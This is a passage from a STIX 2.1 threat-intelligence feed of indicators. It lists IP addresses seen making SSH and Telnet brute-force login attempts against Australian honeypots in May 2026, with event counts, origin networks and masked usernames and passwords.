      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--c0423207-c9ae-46d4-b92c-710146027262",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.6.164.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T21:15:11.000Z",
      "valid_until": "2026-06-12T21:15:08.000Z"
    },
    {
      "created": "2026-05-11T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--334c799b-1b26-43b3-9e62-c27f4008337f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.12.226.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T21:15:11.000Z",
      "valid_until": "2026-06-12T21:15:08.000Z"
    },
    {
      "created": "2026-05-11T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 271646. Organisation(s): ULTRALINK TELECOM LTDA - ME.",
      "id": "indicator--d9379428-373d-4dcd-a54f-7712bc0c53fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.249.70.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T21:15:11.000Z",
      "valid_until": "2026-06-12T21:15:08.000Z"
    },
    {
      "created": "2026-05-11T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 201119. Organisation(s): Icewood LLC.",
      "id": "indicator--c8a27ed9-8743-4eda-9ca9-d6033ca9de1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.195.146.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T21:15:11.000Z",
      "valid_until": "2026-06-12T21:15:08.000Z"
    },
    {
      "created": "2026-05-11T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d2f9aff3-86c8-404d-9400-a8f568316b4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.199.121.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T21:15:11.000Z",
      "valid_until": "2026-06-12T21:15:08.000Z"
    },
    {
      "created": "2026-05-11T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LB. ASN(s): 60406. Organisation(s): Aljadeed S.a.l.",
      "id": "indicator--b170e545-8da4-4a7e-8688-d621e7f5435b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.45.189.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T21:15:11.000Z",
      "valid_until": "2026-06-12T21:15:08.000Z"
    },
    {
      "created": "2026-05-11T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, 5***************O, T*******2, h******!, r********6.",
      "id": "indicator--c33f457a-5548-4f5d-b443-854ab04ea657",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.222.86.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T21:15:11.000Z",
      "valid_until": "2026-06-12T21:15:08.000Z"
    },
    {
      "created": "2026-05-11T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--d4783afd-6dc4-486d-ba5a-02cad07d43df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T21:15:11.000Z",
      "valid_until": "2026-06-12T21:15:08.000Z"
    },
    {
      "created": "2026-05-11T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 322. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 149526. Organisation(s): GITELENET PRIVATE LIMITED. Usernames observed (masked): r**t, u****u, a***n, m***l, 3**********4. Passwords observed (masked): 3***********4, 3**********4, p******d, #******v, **.",
      "id": "indicator--dc30a028-a9c7-4e11-b423-84264b3c002b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.182.132.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T22:15:10.000Z",
      "valid_until": "2026-06-12T22:15:08.000Z"
    },
    {
      "created": "2026-05-11T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t, a***n, f******s, g******r, m***l. Passwords observed (masked): 6****1, a*************3, f******s, g******r, p*******t.",
      "id": "indicator--0e7b6d3b-d342-4d22-940d-aaf91bf94db7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.48.104.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T22:15:10.000Z",
      "valid_until": "2026-06-12T22:15:08.000Z"
    },
    {
      "created": "2026-05-11T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 393. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): r**t, m***l, u****u, a***n, 3**********4. Passwords observed (masked): 3***********4, 3**********4, p******d, #******v, **.",
      "id": "indicator--581900e1-3e1d-499c-b324-55b0c1eff832",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.225.217.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T22:15:10.000Z",
      "valid_until": "2026-06-12T22:15:08.000Z"
    },
    {
      "created": "2026-05-11T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272809. Organisation(s): THUNDERNET, C.A..",
      "id": "indicator--cb28a7c2-b639-4015-9754-5a53bd8d0ae7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.45.137.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T22:15:10.000Z",
      "valid_until": "2026-06-12T22:15:08.000Z"
    },
    {
      "created": "2026-05-11T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC.",
      "id": "indicator--615c77e1-f080-44e0-9282-f46ecf976f28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T22:15:10.000Z",
      "valid_until": "2026-06-12T22:15:08.000Z"
    },
    {
      "created": "2026-05-11T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 27895. Organisation(s): Nucleo S.A..",
      "id": "indicator--e3663275-17e4-4412-8cce-24f63eb03d8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.94.233.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T22:15:10.000Z",
      "valid_until": "2026-06-12T22:15:08.000Z"
    },
    {
      "created": "2026-05-11T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SY. ASN(s): 29256. Organisation(s): Syrian Telecommunication Private Closed Joint Stock Company. Usernames observed (masked): u****u, r**t, a****2, a***n, t**t. Passwords observed (masked): t**t, t*****3, !******z, !**********c, !******x.",
      "id": "indicator--029c46df-25d0-4ea5-9220-521f1d3ce031",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.225.41.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T22:15:10.000Z",
      "valid_until": "2026-06-12T22:15:08.000Z"
    },
    {
      "created": "2026-05-11T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 62. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--8b74af26-0fc2-4095-899d-9ea023e000fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.158.255.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T22:15:10.000Z",
      "valid_until": "2026-06-12T22:15:08.000Z"
    },
    {
      "created": "2026-05-11T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 322. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 6400. Organisation(s): Compania Dominicana de Telefonos S. A.. Usernames observed (masked): u****u, r**t, a****2, 3**********4, a***n. Passwords observed (masked): 3***********4, 3**********4, t**t, t*****3, !******z.",
      "id": "indicator--538daff8-76c7-41c4-9965-47822f36ac01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.167.237.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T22:15:10.000Z",
      "valid_until": "2026-06-12T22:15:08.000Z"
    },
    {
      "created": "2026-05-11T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--bcda6eda-cba1-4347-ac1b-cf184eadfed7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T22:15:10.000Z",
      "valid_until": "2026-06-12T22:15:08.000Z"
    },
    {
      "created": "2026-05-11T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--d013c52d-a1cf-41a8-b414-1b637335867a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.208.16.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T22:15:10.000Z",
      "valid_until": "2026-06-12T22:15:08.000Z"
    },
    {
      "created": "2026-05-11T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--390207de-0ff5-416e-83ac-728cb032613c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.219.197.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T22:15:10.000Z",
      "valid_until": "2026-06-12T22:15:08.000Z"
    },
    {
      "created": "2026-05-11T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265317. Organisation(s): TRIXNET SERVICOS DE TELEINFORMATICA LTDA.",
      "id": "indicator--0d20d11e-cd22-40bb-9953-e4103a1212a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.121.98.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T23:15:10.000Z",
      "valid_until": "2026-06-12T23:15:09.000Z"
    },
    {
      "created": "2026-05-11T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--8a197349-7519-49d6-9fdf-93ff4f625ef0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.122.168.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T23:15:10.000Z",
      "valid_until": "2026-06-12T23:15:09.000Z"
    },
    {
      "created": "2026-05-11T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--b9596bed-e8aa-4cff-809e-290a3b689737",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.154.206.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T23:15:10.000Z",
      "valid_until": "2026-06-12T23:15:09.000Z"
    },
    {
      "created": "2026-05-11T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 270004. Organisation(s): CRETTON LISANDRO MAXIMILIANO MISIOTECH.",
      "id": "indicator--d6ab7d51-3dc5-4666-9c0b-c89111e82770",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.102.216.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T23:15:10.000Z",
      "valid_until": "2026-06-12T23:15:09.000Z"
    },
    {
      "created": "2026-05-11T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--4d74e957-d5af-401e-9589-4e3cf2a769a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T23:15:10.000Z",
      "valid_until": "2026-06-12T23:15:09.000Z"
    },
    {
      "created": "2026-05-11T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 13213. Organisation(s): Thg Hosting Limited.",
      "id": "indicator--b0f5dbf6-5804-4008-a401-d1688240db70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.78.94.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T23:15:10.000Z",
      "valid_until": "2026-06-12T23:15:09.000Z"
    },
    {
      "created": "2026-05-11T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 273007. Organisation(s): SPEEDNET, C.A.",
      "id": "indicator--94900f53-5cba-4710-97c2-1f5d2f50967c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.224.32.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T23:15:10.000Z",
      "valid_until": "2026-06-12T23:15:09.000Z"
    },
    {
      "created": "2026-05-11T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 375. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): u****u, r**t, 3**********4, a***n, m*******t. Passwords observed (masked): *, 3***********4, 3**********4, 1****6, 1****1.",
      "id": "indicator--b0351d08-09b8-4fee-9820-0055e06504f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '39.123.249.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T23:15:10.000Z",
      "valid_until": "2026-06-12T23:15:09.000Z"
    },
    {
      "created": "2026-05-11T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 232. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA. Usernames observed (masked): u****u, r**t, 3**********4, j**n, m*******t. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1****1, 1******@.",
      "id": "indicator--91bb8d16-34fa-4c3d-8aba-9d16a8463438",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.59.229.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T23:15:10.000Z",
      "valid_until": "2026-06-12T23:15:09.000Z"
    },
    {
      "created": "2026-05-11T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 256. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 852. Organisation(s): TELUS Communications. Usernames observed (masked): u****u, a***n, r**t, 3**********4, j**n. Passwords observed (masked): 1****6, 3***********4, 3**********4, A********., P******d.",
      "id": "indicator--4ca17af1-e1f2-4932-b9f7-6322e9732085",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.99.168.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T23:15:10.000Z",
      "valid_until": "2026-06-12T23:15:09.000Z"
    },
    {
      "created": "2026-05-11T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--1b53d707-d4f8-48fd-847e-4bf79e37ceb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.1.235.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T23:15:10.000Z",
      "valid_until": "2026-06-12T23:15:09.000Z"
    },
    {
      "created": "2026-05-12T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263791. Organisation(s): REFSA TELECOMUNICACIONES.",
      "id": "indicator--745b3db0-7ee7-4c73-bfa6-e3b73dac1f73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.121.113.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:15:11.000Z",
      "valid_until": "2026-06-13T00:15:08.000Z"
    },
    {
      "created": "2026-05-12T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--3d4300a4-0e97-4a97-9bf8-e0722bf089ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.90.131.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:15:11.000Z",
      "valid_until": "2026-06-13T00:15:08.000Z"
    },
    {
      "created": "2026-05-12T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 289. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, u**r, a****n, a**o. Passwords observed (masked): a***n, 1***5, a******3, 0**************D, 1**1.",
      "id": "indicator--0253c9a8-ac4c-416a-94db-a22b93799283",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.231.183.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:15:11.000Z",
      "valid_until": "2026-06-13T00:15:08.000Z"
    },
    {
      "created": "2026-05-12T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--3d358aef-41c3-45be-873b-c32e297586f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.16.173.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T00:15:11.000Z",
      "valid_until": "2026-06-13T00:15:08.000Z"
    },
    {
      "created": "2026-05-12T00:15:11.000Z",
